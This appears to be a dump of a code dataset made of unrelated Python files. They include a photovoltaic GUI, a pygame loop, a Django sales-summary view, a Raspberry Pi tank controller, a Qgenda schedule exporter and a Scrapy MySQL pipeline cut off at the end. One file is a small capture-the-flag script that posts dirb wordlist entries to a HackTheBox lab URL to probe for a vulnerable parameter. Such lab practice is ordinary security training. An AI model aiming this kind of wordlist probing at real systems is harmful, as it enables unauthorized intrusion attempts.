%.4g A ; VOC = %.4g V ; FF = %.4g %% ; \\n  Is1 = %.4g A ; n1 = %.4g ; Is2 = %.4g A ; n2 = %.4g ; Ncells = %d\\n  RS = %.4g Ohms ; RP = %.4g Ohms\\n\" % (self.ISCY, self.VOCY, 100.0 * self.FFY, self.Is1, self.n1, self.Is2, self.n2, self.Ncells, self.Rs, self.Rp))\r\n                )\r\n\r\n        except Exception as excT:\r\n\r\n            strErr = \"\\n! cannot save output data:\\n  %s\\n\" % str(excT)\r\n            self.reportMessage = '! cannot save output data'\r\n            if self.verbose:\r\n                print(strErr)\r\n            # end if\r\n            return False\r\n            # never reached\r\n            pass\r\n\r\n        # end try\r\n\r\n    # end doSave\r\n\r\n    def onSave(self):\r\n        if (not self.GUIstarted) or self.isRunning():\r\n            return\r\n        # end if\r\n        fileopt = {}\r\n        fileopt['defaultextension'] = '.pdf'\r\n        fileopt['filetypes'] = [('PDF files', '.pdf')]\r\n        fileopt['initialfile'] = self.OutputFilename\r\n        fileopt['parent'] = self.root\r\n        fileopt['title'] = 'Save figure'\r\n        pdfFilename = tkFileDialog.asksaveasfilename(**fileopt)\r\n        if pdfFilename:\r\n            self.OutputFilename = pdfFilename\r\n            self.doSave(self.OutputFilename, savePDF = True)\r\n        # end if\r\n    # end onSave\r\n\r\n    def onAutoScale(self):\r\n        if (not self.GUIstarted) or self.isRunning():\r\n            return\r\n        # end if\r\n        for idp in range(0, self.plotcount):\r\n            self.plot[idp].relim()\r\n            self.plot[idp].autoscale()\r\n        # end for\r\n        self.canvas.draw()\r\n    # end onAutoScale\r\n\r\n    def onEntryUndo(self, event):\r\n        if not self.GUIstarted:\r\n            return\r\n        # end if\r\n        try:\r\n            if event.widget.prev is not None:\r\n                event.widget.next = event.widget.get()\r\n                strT = event.widget.prev\r\n                idx = event.widget.index(Tk.INSERT)\r\n                event.widget.delete(0, Tk.END)\r\n                event.widget.insert(0, strT)\r\n                event.widget.prev = strT\r\n                event.widget.icursor(idx + 1)\r\n        except:\r\n            pass\r\n        # end try\r\n    # end onEntryUndo\r\n\r\n    def onEntryRedo(self, event):\r\n        if not self.GUIstarted:\r\n            return\r\n        # end if\r\n        try:\r\n            if event.widget.next is not None:\r\n                idx = event.widget.index(Tk.INSERT)\r\n                strT = event.widget.prev\r\n                event.widget.delete(0, Tk.END)\r\n                event.widget.insert(0, event.widget.next)\r\n                event.widget.prev = strT\r\n                event.widget.icursor(idx + 1)\r\n        except:\r\n            pass\r\n        # end try\r\n    # end onEntryRedo\r\n\r\n    def onEntrySelectAll(self, event):\r\n        if not self.GUIstarted:\r\n            return\r\n        # end if\r\n        try:\r\n            event.widget.select_range(0, Tk.END)\r\n        except:\r\n            pass\r\n        # end try\r\n    # end onEntrySelectAll\r\n\r\n    def onAbout(self):\r\n        if not self.GUIstarted:\r\n            return\r\n        # end if\r\n        tkMessageBox.showinfo(self.name,\r\n                             (self.name                                                         +\r\n                              \"\\n\"                                                              +\r\n                              self.__version__                                                  +\r\n                              \"\\nCopyright(C) 2018-2022 Pr. Sidi OULD SAAD HAMADY \\n\"           +\r\n                              \"Université de Lorraine, France \\n\"                               +\r\n                              \"sidi.hamady@univ-lorraine.fr \\n\"                                 +\r\n                              \"https://github.com/sidihamady/Photovoltaic-Model \\n\"             +\r\n                              \"http://www.hamady.org/photovoltaics/PhotovoltaicModel.zip \\n\"    +\r\n                              \"Under MIT license \\nSee Copyright Notice in COPYRIGHT\"),\r\n                              parent=self.root)\r\n    # end onAbout\r\n\r\n    def onPopmenu(self, event):\r\n        if (not self.useTkinterGUI):\r\n            return\r\n        # end if\r\n        try:\r\n            self.popmenu.entryconfig(\"Fit\", state=\"normal\" if self.FileLoaded else \"disabled\")\r\n            self.popmenu.post(event.x_root, event.y_root)\r\n        except:\r\n            pass\r\n        # end try\r\n    # end onPopmenu\r\n\r\n    def onClose(self):\r\n        if (not self.GUIstarted) or (self.root is None):\r\n            return\r\n        # end if\r\n        try:\r\n            if self.isRunning():\r\n                tkMessageBox.showinfo(self.name, \"Please wait until calculations done.\", parent=self.root)\r\n                return\r\n            # end if\r\n            if not tkMessageBox.askyesno(self.name, \"Close \" + self.name + \"?\", default=tkMessageBox.NO, parent=self.root):\r\n                return\r\n            # end if\r\n            self.root.quit()\r\n            self.root.destroy()\r\n            self.root = None\r\n        except:\r\n            pass\r\n        # end try\r\n    # end onClose\r\n\r\n# end PhotovoltaicModelCore class\r\n","repo_name":"sidihamady/Photovoltaic-Model","sub_path":"PhotovoltaicModelCore.py","file_name":"PhotovoltaicModelCore.py","file_ext":"py","file_size_in_byte":69238,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"}
+{"seq_id":"5990896702","text":"#! /usr/bin/env python\n\nfrom __future__ import print_function\n\nimport sys\nimport pygame\nimport pygame.locals as l\nimport src.menu as m\nimport src.game as g\n\n\nKEYBOARD = {l.K_UP: 'up', l.K_k: 'up', l.K_w: 'up',\n            l.K_DOWN: 'down', l.K_j: 'down', l.K_s: 'down',\n            l.K_LEFT: 'left', l.K_h: 'left', l.K_a: 'left',\n            l.K_RIGHT: 'right', l.K_l: 'right', l.K_d: 'right',\n            l.K_RETURN: 'start', l.K_SPACE: 'start',\n            l.K_ESCAPE: 'quit', l.K_F1: 'help'}\n\nFONTS = True\nif not pygame.font:\n    print( \"Warning: no fonts detected; fonts disabled.\" )\n    FONTS = False\n\nif not pygame.mixer:\n    print( \"Warning: no sound detected; sound disabled.\" )\n    MIXER = None\nelse:\n    pygame.mixer.init()\n    MIXER = pygame.mixer\n\n\ndef main():\n    pygame.init()\n\n\n    fps_clock = pygame.time.Clock()\n    fps = 23.8\n    window = pygame.display.set_mode((640, 480), pygame.DOUBLEBUF)\n\n    mode = \"menu\"\n    menu = m.Menu('config/menu.conf', 'config/user.conf',\n                  'config/default.conf', MIXER)\n\n    while(mode):\n\n        while(mode == \"menu\"):\n\n            if menu.resolution != window.get_size():\n\n                window = pygame.display.set_mode(menu.resolution,\n                                                 pygame.DOUBLEBUF)\n\n            m.draw_menu(menu, window)\n            pygame.display.flip()\n            fps_clock.tick(fps)\n\n            mode = menu.menu_navigation()\n\n        if mode == \"game\":\n            try:\n                print( \"loading map: {0}\".format(menu.config[\"map\"]) )\n                game = g.Game(menu.config, 'assets/maps/{0}.npy'.format(\n                    menu.config[\"map\"]), menu.setup[\"font\"],\n                    menu.setup[\"fontsize\"], fps)\n                pygame.event.set_grab(True)\n                pygame.mouse.set_visible(False)\n                pygame.mouse.get_rel()\n            except IOError:\n                print( \"no such map: {0}; using Legacy\".format( \n                    menu.config[\"map\"]) )\n                game = g.Game(menu.config, 'assets/maps/legacy.npy',\n                              menu.setup[\"font\"], menu.setup[\"fontsize\"], fps)\n                pygame.event.set_grab(True)\n                pygame.mouse.set_visible(False)\n                pygame.mouse.get_rel()\n\n        while(mode == \"game\"):\n            mode = game.do_step(window)\n            pygame.display.flip()\n            fps_clock.tick(fps)\n\n        while(mode == \"hiscore\"):\n            print( \"high-score list is not implemented. returning to menu ...\" )\n            mode = \"menu\"\n\n        while(mode == \"gallery\"):\n            print( \"gallery is not implemented. returning to menu ...\" )\n            mode = \"menu\"\n\n        while(mode == \"credits\"):\n            print( \"credits is not implemented. returning to menu ...\" )\n            mode = \"menu\"\n\n        while(mode == \"quit\"):\n            print( \"quitting game ...\" )\n            pygame.quit()\n            mode = False\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n","repo_name":"skymandr/brandmateriel","sub_path":"brandmateriel/brand.py","file_name":"brand.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"43664930431","text":"from rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nfrom django.db.models import Sum, Count\n\nfrom api.models import (\n    Transaction,\n    Company,\n)\nfrom api.serializers import (\n    SummarySerializer,\n    CompanySerializer,\n)\n\n\nclass SummaryGlobalView(APIView):\n\n    serializer_class = SummarySerializer\n\n    def get(self, request):\n        \"\"\"\n        Return a summary report of transactions\n            - most selling company\n            - least selling company\n            - total revenue\n            - total canceled revenue\n            - most canceled company\n        \"\"\"\n        transactions = Transaction.objects.all().select_related('company')\n        confirmed_transactions = transactions.filter(\n            status_transaction='closed',\n            status_approved=True\n        )\n        canceled_transactions = transactions.exclude(\n            status_transaction='closed',\n            status_approved=True\n        )\n        total_effective_revenue = confirmed_transactions.aggregate(\n            Sum('price')).get('price__sum')\n        total_canceled_revenue = canceled_transactions.aggregate(\n            Sum('price')).get('price__sum')\n\n        sells = confirmed_transactions.values(\n            'company').annotate(t_revenue=Sum('price'))\n\n        most_selling_company = sells.order_by('-t_revenue')[0]\n        most_selling_company = Company.objects.get(\n            pk=most_selling_company['company'])\n\n        least_selling_company = sells.order_by('t_revenue')[0]\n        least_selling_company = Company.objects.get(\n            pk=least_selling_company['company'])\n\n        most_canceled_company = canceled_transactions.values('company').annotate(\n            total_canceled=Count('company')).order_by('-total_canceled')[0]\n        most_canceled_company = Company.objects.get(\n            pk=most_canceled_company['company'])\n\n        summary = SummarySerializer(\n            data={\n                'most_selling_company': CompanySerializer(most_selling_company).data,\n                'least_selling_company': CompanySerializer(least_selling_company).data,\n                'total_effective_revenue': total_effective_revenue / 100,\n                'total_canceled_revenue': total_canceled_revenue / 100,\n                'most_canceled_company': CompanySerializer(most_canceled_company).data,\n            }\n        )\n        summary.is_valid(raise_exception=True)\n        return Response(summary.data, status=status.HTTP_200_OK)\n","repo_name":"JuanDM93/plerk-django-transactions","sub_path":"api/views/summary/general.py","file_name":"general.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35918693545","text":"import base64\nimport requests\ns=requests.session()\nurl= \"http://docker.hackthebox.eu:32446/index.php\"\nf = open(\"/usr/share/dirb/wordlists/big.txt\",\"r\").read()\n#F = f.sn\")\n\nfor palabra in f:\n    data = {\"obj\":palabra}\n    text = s.post(url=url,data=data)\n    if \"Trying to get\" not in text.text:\n        print(text.text)\n    else:\n        print(\"data not working: \" + palabra)\n","repo_name":"pretended/hackTheBoxNotes","sub_path":"HackTheBox/ctfWebSecurity/lurdes.py","file_name":"lurdes.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"71572576052","text":"class Employee:\r\n    company=\"google\"\r\n    def getsalary(self):\r\n        print(\"salary is 100k\")\r\n\r\nharry=Employee()# salary is 100k is printed twice you need to understand computer is so simple as if you \r\n# see something printed twice then that means command should have been passed twice\r\nharry.getsalary()\r\nEmployee.getsalary(harry)\r\n\r\n#lets talk about 'self'\r\n# parameter --- self refers to the instance of the class it is an automatically passed with a function call from an object\r\nclass Employee:\r\n    company=\"google\"\r\n    def getsalary(self):\r\n        print(f\"salary for the employee working in {self.company} is {self.salary}\")\r\n    @staticmethod#A static method does not receive an implicit(means inherent, ontornihit) first argument. \r\n    def greet(self):\r\n        print(\"good Morning,master aloke \")\r\nharry=Employee()\r\nharry.salary=100000\r\nharry.getsalary()#Employee.getsalary(harry)\r\nharry.greet()#Employee.greet() missing 1 required positional argument: 'self'\r\n# so one thing is whenever i am enabling \"@static method\"  the return for \r\n# harry.greet()[empliyee.greet] is TypeError: Employee.greet() missing 1 required positional argument: 'self'\r\n#but when i am disabling the @staticmethod  the return is--\r\n#salary is 100k\r\n#salary is 100k\r\n#salary for the employee working in google is 100000\r\n#good Morning,master aloke\r\n# so how does the @staticmethod is working \r\n#sometimes we need a function that doesnot use the self parameter we cwn  define a ststic method ,\r\n# the fuction or item we write under it that become static\r\n#@staticmethod Characteristics\r\n#Declares a static method in the class.\r\n#It cannot have cls or self parameter.\r\n#The static method cannot access the class attributes or the instance attributes.\r\n#The static method can be called using ClassName. MethodName() and also using object. ...\r\n#It can return an object of the class\r\n# Why should I use @staticmethod in Python?\r\n#staticmethods can be used when the code that belongs to a class doesn't use the object\r\n# itself at all. Python doesn't have to instantiate a bound method \r\n# for each object we instantiate. Bound methods are objects too, and creating them has a\r\n# cost. Having a static method avoids that\r\n","repo_name":"hackerbotsupreme/python-coding-job","sub_path":"staticmethod.py","file_name":"staticmethod.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74413307254","text":"# -*- coding: utf-8 -*-\n\n# Raspberry Pi GPIO Package \nimport RPi.GPIO as GPIO\nfrom time import sleep\nimport time\nimport sys\nimport pygame\nimport os\nfrom adafruit_servokit import ServoKit\n\nos.system(\"sudo i2cdetect -y 1\")\n\nkit = ServoKit(channels=8)\n\npipe = None\n\nyaw=0 # Vertical.\npitch=1 # Horizontal. \nyawValue = 90 # Yaw percentage value. Never use over 50%.\npitchValue= 90 # Pitch percentage value.\n\n# Reset servo motor position\nkit.servo[0].angle = 90\ntime.sleep(0.1)\nkit.servo[1].angle = 90\ntime.sleep(0.1)\n\n# Motor Status\nSTOP  = 0\nFORWARD  = 1\nBACKWARD = 2\n\n# Mortor Channel\nCH1 = 0 # Left Wheel\nCH2 = 1 # Right Wheel\n\n# PIN Input, Output Setting\nOUTPUT = 1\nINPUT = 0\n\n# PIN Setting\nHIGH = 1\nLOW = 0\n\n#PWM PIN\nENA = 26  #37 pin\nENB = 0   #27 pin\n\n#GPIO PIN\nIN1 = 19  #37 pin\nIN2 = 13  #35 pin\nIN3 = 6   #31 pin\nIN4 = 5   #29 pin\n\n# 핀 설정 함수\ndef setPinConfig(EN, INA, INB):        \n    GPIO.setup(EN, GPIO.OUT)\n    GPIO.setup(INA, GPIO.OUT)\n    GPIO.setup(INB, GPIO.OUT)\n    # Active PWM with 100khz \n    pwm = GPIO.PWM(EN, 100) \n    # Stop PWM first.   \n    pwm.start(0) \n    return pwm\n\n# 모터 제어 함수\ndef setMotorControl(pwm, INA, INB, speed, stat):\n\n    #모터 속도 제어 PWM\n    pwm.ChangeDutyCycle(speed)  \n    \n    if stat == FORWARD:\n        GPIO.output(INA, HIGH)\n        GPIO.output(INB, LOW)\n        \n    #뒤로\n    elif stat == BACKWARD:\n        GPIO.output(INA, LOW)\n        GPIO.output(INB, HIGH)\n        \n    #정지\n    elif stat == STOP:\n        GPIO.output(INA, LOW)\n        GPIO.output(INB, LOW)\n\n        \n# 모터 제어함수 간단하게 사용하기 위해 한번더 래핑(감쌈)\ndef setMotor(ch, speed, stat):\n    if ch == CH1:\n        #pwmA는 핀 설정 후 pwm 핸들을 리턴 받은 값이다.\n        setMotorControl(pwmA, IN1, IN2, speed, stat)\n    else:\n        #pwmB는 핀 설정 후 pwm 핸들을 리턴 받은 값이다.\n        setMotorControl(pwmB, IN3, IN4, speed, stat)\n        \ndef MOVE_FORWARD(Lspeed,Rspeed):\n    print('forward')\n    setMotor(CH1, Rspeed, FORWARD)\n    setMotor(CH2, Lspeed, FORWARD)\n\ndef MOVE_BACKWARD(Lspeed,Rspeed):\n    print('backward')\n    setMotor(CH1, Rspeed, BACKWARD)\n    setMotor(CH2, Lspeed, BACKWARD)\n\ndef MOVE_LEFT_TURN(speed):\n    print('left turn')\n    setMotor(CH1, speed, FORWARD)\n    setMotor(CH2, speed, BACKWARD)\n\ndef MOVE_RIGHT_TURN(speed):\n    print('right turn')\n    setMotor(CH1, speed, BACKWARD)\n    setMotor(CH2, speed, FORWARD)\n\ndef MOVE_STOP():\n    print('stop')\n    setMotor(CH1, 0, STOP)\n    setMotor(CH2, 0, STOP)\n\n\n# GPIO 모드 설정 \nGPIO.setmode(GPIO.BCM)\n      \n#모터 핀 설정\n#핀 설정후 PWM 핸들 얻어옴 \npwmA = setPinConfig(ENA, IN1, IN2)\npwmB = setPinConfig(ENB, IN3, IN4)\n\naxisUpDown = 1                          # Joystick axis to read for up / down position\naxisUpDownInverted = False              # Set this to True if up and down appear to be swapped\naxisLeftRight = 0                     # Joystick axis to read for left / right position\naxisLeftRightCamera = 3\naxisUpDownCamera = 4\naxisLeftRightInverted = False           # Set this to True if left and right appear to be swapped\naxisUpDownCameraIverted = False\n#buttonTringle = 2\ninterval = 0.1                          # Time between keyboard updates in seconds, smaller responds faster but uses more processor time\n\n\n# Setup pygame and key states\nglobal hadEvent\nglobal moveUp\nglobal moveDown\nglobal moveLeft\nglobal moveRight\nglobal moveQuit\nglobal moveLeftRightCamera\nglobal moveUpDownCamera\n#global moveDefaultPosition\n\nhadEvent = True\nmoveUp = False\nmoveDown = False\nmoveLeft = False\nmoveRight = False\nmoveQuit = False\nmoveLeftRightCamera = False\nmoveUpDownCamera = False\n#moveDefaultPosition = False\n\npygame.init()\npygame.joystick.init()\njoystick = pygame.joystick.Joystick(0)\njoystick.init()\nscreen = pygame.display.set_mode([300,300])\npygame.display.set_caption(\"VRTank Control - Press [ESC] to quit\")\n\n# Function to handle pygame events\ndef PygameHandler(events):\n    # Variables accessible outside this function\n    global hadEvent\n    global moveUp\n    global moveDown\n    global moveLeft\n    global moveRight\n    global moveQuit\n    global moveLeftCamera\n    global moveRightCamera\n    global moveUpCamera\n    global moveDownCamera\n    #global moveDefaultPosition\n    # Handle each event individually\n    for event in events:\n        if event.type == pygame.QUIT:\n            # User exit\n            hadEvent = True\n            moveQuit = True\n        elif event.type == pygame.KEYDOWN:\n            # A key has been pressed, see if it is one we want\n            hadEvent = True\n            if event.key == pygame.K_ESCAPE:\n                moveQuit = True\n        elif event.type == pygame.KEYUP:\n            # A key has been released, see if it is one we want\n            hadEvent = True\n            if event.key == pygame.K_ESCAPE:\n                moveQuit = False\n        elif event.type == pygame.JOYAXISMOTION:\n            # A joystick has been moved, read axis positions (-1 to +1)\n            hadEvent = True\n            upDown = joystick.get_axis(axisUpDown)\n            leftRight = joystick.get_axis(axisLeftRight)\n            LeftRightCamera = joystick.get_axis(axisLeftRightCamera)\n            UpDownCamera = joystick.get_axis(axisUpDownCamera)\n            #DefaultPosition = joystick.get_button(buttonTringle)\n            # Invert any axes which are incorrect\n            if axisUpDownInverted:\n                upDown = -upDown\n            if axisLeftRightInverted:\n                leftRight = -leftRight\n            if axisUpDownCameraIverted:\n                UpDownCamera = - UpDownCamera\n            # Determine Up / Down values\n            if upDown < -0.1:\n                moveUp = True\n                moveDown = False\n            elif upDown > 0.1:\n                moveUp = False\n                moveDown = True\n            else:\n                moveUp = False\n                moveDown = False\n            # Determine Left / Right values\n            if leftRight < -0.7:\n                moveLeft = True\n                moveRight = False\n            elif leftRight > 0.7:\n                moveLeft = False\n                moveRight = True\n            else:\n                moveLeft = False\n                moveRight = False\n            \n            if UpDownCamera < -0.5:\n                moveUpCamera = True\n                moveDownCamera = False\n            elif UpDownCamera > 0.5:\n                moveUpCamera = False\n                moveDownCamera = True\n            else:\n                moveUpCamera = False\n                moveDownCamera = False\n                \n            if LeftRightCamera < -0.5:\n                moveLeftCamera = False\n                moveRightCamera = True\n            elif LeftRightCamera > 0.5:\n                moveLeftCamera = True\n                moveRightCamera = False\n            else:\n                moveLeftCamera = False\n                moveRightCamera = False\n                \ntry:\n    print('Press [ESC] to quit')\n    # Loop indefinitely\n    while True:\n        # Get the currently pressed keys on the keyboard\n        PygameHandler(pygame.event.get())\n        if hadEvent:\n            # Keys have changed, generate the command list based on keys\n            hadEvent = False\n            if moveQuit:\n                break\n            elif moveLeft:   \n                MOVE_LEFT_TURN(80)\n            elif moveRight:\n                MOVE_RIGHT_TURN(80)\n            elif moveUp:\n                MOVE_FORWARD(80,80)\n            elif moveDown:\n                MOVE_BACKWARD(80,80)\n            elif moveUpCamera:\n                yawValue-=10\n                if yawValue<0:\n                    yawValue=0\n                    continue\n                else:\n                    kit.servo[yaw].angle = yawValue\n            elif moveDownCamera:\n                yawValue+=10\n                if yawValue>90:\n                    yawValue=90\n                    continue\n                else:\n                    kit.servo[yaw].angle = yawValue\n            elif moveLeftCamera:\n                pitchValue-=10\n                if pitchValue<0:\n                    pitchValue=0\n                    continue\n                else:\n                    kit.servo[pitch].angle = pitchValue\n            elif moveRightCamera:\n                pitchValue+=10\n                if pitchValue>180:\n                    pitchValue=180\n                    continue\n                else:\n                    kit.servo[pitch].angle = pitchValue\n            else:\n                MOVE_STOP()\n        # Wait for the interval period\n        time.sleep(interval)\n    # Disable all drives\n    MOVE_STOP()\nexcept KeyboardInterrupt:\n    # CTRL+C exit, disable all drives\n    MOVE_STOP()\n    #os.system('sudo killall servod')","repo_name":"Kokyung/Stereoscopic-Vision-Tank","sub_path":"RemoteControl1.1.py","file_name":"RemoteControl1.1.py","file_ext":"py","file_size_in_byte":8754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28739968552","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2018年3月30日\n\n@author: zwp\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nx = np.linspace(-3, 3, 1000);\nnoise = np.random.normal(scale=1,size=np.alen(x));\ny1 = 3*x+1+noise;\ny2 = np.exp(x)+noise;\ny3 = np.sin(x)+noise;\n\ndataset_param=[0,3,100];\nx1 =  np.linspace(*dataset_param);\nx2 =  np.linspace(*dataset_param);\nprint (x1,x2);\nx1,x2 = np.meshgrid(x1,x2)\nprint(x1,x2);\n\nif __name__ == '__main__':\n    \n    plt.figure();\n#    plt.scatter(x,y2);\n    re = x1+x2*2+3;\n    C= plt.contour(x1,x2,re,10, colors='black', linewidth=.5);\n    plt.clabel(C, inline=True, fontsize=10)\n    plt.show();\n    pass","repo_name":"ZWP-FlyZ/MacLen","sub_path":"src/test/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7904928464","text":"'''\nTaylor Russell\n5/31/2018\n\n        Takes a snapshot of the last 3 months of the Qgenda Schedule Table and writes it as a csv. Deletes csv files older than 60 days\n'''\n\n\n\nimport json\nfrom collections import OrderedDict\nimport requests\nfrom PyDates import *\nfrom Token import header\nfrom Qgenda_Depts import Depts\nimport csv\nimport time\nfrom Config import ScheduleLocation\nimport os\n\n\n\n\n\n\nfiledate = str(ScheduleLocation+time.strftime(\"%Y%m%d\")+'.csv')\nrollingmonths = rollingyear(3)\n\n\n#loop through months\ns = 0\ndata = []\nfor r in rollingmonths:\n\n    v_date = daterange(rollingmonths[s])\n\n    #loop through Depts\n    d=0\n    for Dept in Depts:\n\n        payload = {'companyKey': Depts[d], 'startDate': v_date[0], 'endDate': v_date[1],\n                  '$select': 'CallRole,CompKey,Credit,Date,EndDate,EndTime,IsCred,IsPublished,IsLocked,IsStruck,Notes,StaffAbbrev,StaffBillSysId,StaffEmail,StaffEmrId,StaffExtCallSysId,StaffFName,StaffId,StaffKey,StaffLName,StaffMobilePhone,StaffNpi,StaffPager,StaffPayrollId,StartDate,StartTime,TaskAbbrev,TaskBillSysId,TaskExtCallSysId,TaskId,TaskKey,TaskName,TaskPayrollId,TaskEmrId,TaskIsPrintEnd,TaskIsPrintStart,TaskShiftKey',\n                  '$orderby': 'StartDate'}\n\n        schedule = requests.get('https://api.qgenda.com/v2/schedule', params=payload, headers=header)\n\n        json_data = json.loads(schedule.text, object_pairs_hook=OrderedDict)\n        data.extend(json_data)\n        d += 1\n    s+=1\n\n\n#write file\nkeys = data[0].keys()\nwith open(filedate, 'w', newline='') as output_file:\n   dict_writer = csv.DictWriter(output_file, keys)\n   dict_writer.writeheader()\n   dict_writer.writerows(data)\n   output_file.close()\n\n\n\n\n\n#delete old files\npath = ScheduleLocation\nnow = time.time()\n\nfor f in os.listdir(path):\n    f = os.path.join(path,f)\n\n    # print(os.stat(f).st_mtime)\n    # print(now - 5000)\n\n    if os.stat(f).st_mtime < (now - 86400 * 60):\n        if os.path.isfile(f):\n            os.remove(os.path.join(path, f))\n\n","repo_name":"truss120/QgendaAPI","sub_path":"rds-api-clients-master/Qgenda/Qgenda_Get_Schedule_File.py","file_name":"Qgenda_Get_Schedule_File.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8865974176","text":"# 根据字段将记录分组\n# 有一系列的字典或对象实例，我们想根据某个特定的字段（比如日期）来分组迭代数据\n\n# itertools.groupby()函数对数据进行分组时特别有用\n\nrows = [\n    {'address':'5412 N CLARK','date':'07/01/2012'},\n    {'address':'5148 N CLARK','date':'07/04/2012'},\n    {'address':'5800 N 58TH','date':'07/02/2012'},\n    {'address':'2122 N CLARK','date':'07/03/2012'},\n    {'address':'5645 N RAVENSWOOD','date':'07/02/2012'},\n    {'address':'1060 N ADDISON','date':'07/02/2012'},\n    {'address':'4801 N BROADWAY','date':'07/01/2012'},\n    {'address':'1039 N GRANVILLE','date':'07/04/2012'},\n]\n\n# 根据日期以分组方式迭代数据\n\nfrom operator import itemgetter\nfrom itertools import groupby\n\n# sort by the desired field first\nrows.sort(key=itemgetter('date'))\n\n# Iterate in groups\nfor date,items in groupby(rows,key=itemgetter('date')):\n    print(date)\n    for i in items:\n        print(' ',i)\n\n# 如果只是简单地根据日期将数据分组到一起，放进一个大数据结构中以允许进行随机访问，利用defaultdict()构建一个一键多值字典\nfrom collections import defaultdict\nrows_by_date = defaultdict(list)\nfor row in rows:\n    rows_by_date[row['date']].append(row)\n    \nfor r in rows_by_date['07/01/2012']:\n    print(r)\n","repo_name":"wfl36/Python","sub_path":"data_structures_and_algorithms(1)/1_15.py","file_name":"1_15.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4017730506","text":"import logging\nimport pprint\nfrom scrapy.exceptions import DropItem\nfrom pymysql.cursors import DictCursor\nfrom pymysql import OperationalError\nfrom pymysql.constants.CR import CR_SERVER_GONE_ERROR,  CR_SERVER_LOST, CR_CONNECTION_ERROR\nfrom twisted.internet import defer\nfrom twisted.enterprise import adbapi\nfrom scrapy.exporters import CsvItemExporter\nimport csv\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel('DEBUG')\n\n\nclass MySQLPipeline(object):  #\n    \"\"\"\n    Defaults:\n    MYSQL_HOST = 'localhost'\n    MYSQL_PORT = 3306\n    MYSQL_USER = None\n    MYSQL_PASSWORD = ''\n    MYSQL_DB = None\n    MYSQL_TABLE = None\n    MYSQL_MARK_SCRAPED_TABLE   : None\n    MYSQL_MARK_SCRAPED_KEY   : None\n    MYSQL_MARK_SCRAPED_VALUE   : None\n    MYSQL_UPSERT = False\n    MYSQL_RETRIES = 3\n    MYSQL_CLOSE_ON_ERROR = True\n    Pipeline:\n    ITEM_PIPELINES = {\n       'scrapy_mysql_pipeline.MySQLPipeline': 300,\n    }\n    \"\"\"\n    stats_name = 'mysql_pipeline'\n\n    @classmethod\n    def from_crawler(cls, crawler):\n        return cls(crawler)\n\n    def __init__(self, crawler):\n        self.stats = crawler.stats\n        self.stats.set_value('done', 0)\n        self.settings = crawler.settings\n        db_args = {\n            'host': self.settings.get('MYSQL_HOST', 'localhost'),\n            'port': self.settings.get('MYSQL_PORT', 3306),\n            'user': self.settings.get('MYSQL_USER', None),\n            'password': self.settings.get('MYSQL_PASSWORD', ''),\n            'db': self.settings.get('MYSQL_DB', None),\n            'charset': 'utf8mb4',\n            'cursorclass': DictCursor,\n            'cp_reconnect': True,\n        }\n        self.retries = self.settings.get('MYSQL_RETRIES', 3)\n        self.close_on_error = self.settings.get('MYSQL_CLOSE_ON_ERROR', True)\n        self.upsert = self.settings.get('MYSQL_UPSERT', False)\n        self.table = self.settings.get('MYSQL_TABLE', None)\n        self.db = adbapi.ConnectionPool('pymysql', **db_args)\n\n    def close_spider(self, spider):\n        self.db.close()\n\n    @staticmethod\n    def preprocess_item(item):\n        \"\"\"Can be useful with extremly straight-line spiders design without item loaders or items at all\n        CAVEAT: On my opinion if you want to write something here - you must read\n        http://scrapy.readthedocs.io/en/latest/topics/loaders.html before\n        \"\"\"\n        return item\n\n    def postprocess_item(self, *args):\n        \"\"\"Can be useful if you need to update query tables depends of mysql query result\"\"\"\n        if len(args) > 1:\n            if 'dummy' not in args[0]['id']:\n                self.stats.inc_value('done')\n\n    @defer.inlineCallbacks\n    def process_item(self, item, spider):\n        # Start process insert db\n        retries = self.retries\n        status = False\n        while retries:\n            try:\n                item = self.preprocess_item(item)\n                yield self.db.runInteraction(self._process_item, item)\n            except OperationalError as e:\n                if e.args[0] in (\n                        CR_SERVER_GONE_ERROR,\n                        CR_SERVER_LOST,\n                        CR_CONNECTION_ERROR,\n                ):\n                    retries -= 1\n                    logger.info('%s %s attempts to reconnect left', e, retries)\n                    self.stats.inc_value('{}/reconnects'.format(self.stats_name))\n                    continue\n                logger.exception('%s', pprint.pformat(item))\n                self.stats.inc_value('{}/errors'.format(self.stats_name))\n            except Exception:\n                logger.exception('%s', pprint.pformat(item))\n                self.stats.inc_value('{}/errors'.format(self.stats_name))\n            else:\n                status = True  # executed without errors\n            break\n        else:\n            if self.close_on_error:  # Close spider if connection error happened and MYSQL_CLOSE_ON_ERROR = True\n                spider.crawler.engine.close_spider(spider, '{}_fatal_error'.format(self.stats_name))\n        self.postprocess_item(item, status)\n        \n        if self.stats.get_value('done') % 10 == 0:\n            logger.info(\"--> Done %s/ %s\", self.stats.get_value('done'), self.stats.get_value('total'))\n        yield item\n\n    def _generate_sql(self, data):\n        columns = lambda d: ', '.join(['`{}`'.format(k) for k in d])\n        values = lambda d: [v for v in d.values()]\n        placeholders = lambda d: ', '.join(['%s'] * len(d))\n        if self.upsert:\n            sql_template = 'INSERT INTO 